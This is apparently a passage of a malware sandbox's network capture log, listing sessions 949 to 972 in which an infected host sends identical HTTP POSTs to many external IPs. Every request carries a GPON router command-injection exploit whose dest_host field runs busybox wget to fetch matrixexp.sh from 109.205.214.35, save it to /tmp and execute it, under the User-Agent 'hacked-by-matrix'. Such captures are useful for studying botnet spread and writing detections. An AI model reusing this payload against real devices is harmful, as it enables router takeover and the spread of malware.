Mar 21, 2024 05:18:33.903697968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
949	192.168.2.13	52128	2.118.94.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.903795958 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
950	192.168.2.13	35376	212.26.161.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.903819084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
951	192.168.2.13	42978	79.43.55.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.903821945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
952	192.168.2.13	50204	79.79.162.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.903919935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
953	192.168.2.13	54874	109.39.12.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.903919935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
954	192.168.2.13	58966	42.181.82.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904320002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
955	192.168.2.13	51466	178.72.168.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904323101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
956	192.168.2.13	56420	109.230.105.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904362917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
957	192.168.2.13	56688	5.190.3.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904376984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
958	192.168.2.13	34320	210.202.79.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904409885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
959	192.168.2.13	49680	109.39.67.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904449940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
960	192.168.2.13	43562	109.97.154.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904472113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
961	192.168.2.13	46656	79.87.59.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904536963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
962	192.168.2.13	55096	178.73.210.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904577017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
963	192.168.2.13	36212	5.184.1.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904603958 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
964	192.168.2.13	42822	109.167.100.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904690027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
965	192.168.2.13	44298	212.126.137.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904690027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
966	192.168.2.13	41422	212.189.229.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904726982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
967	192.168.2.13	55738	118.67.230.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904748917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
968	192.168.2.13	45640	178.39.171.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904822111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
969	192.168.2.13	33920	210.189.37.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904834032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
970	192.168.2.13	55722	37.164.96.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904846907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
971	192.168.2.13	59798	2.117.52.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904861927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
972	192.168.2.13	53590	212.194.226.101	443

Timestamp	Bytes transferred	Direction	Data
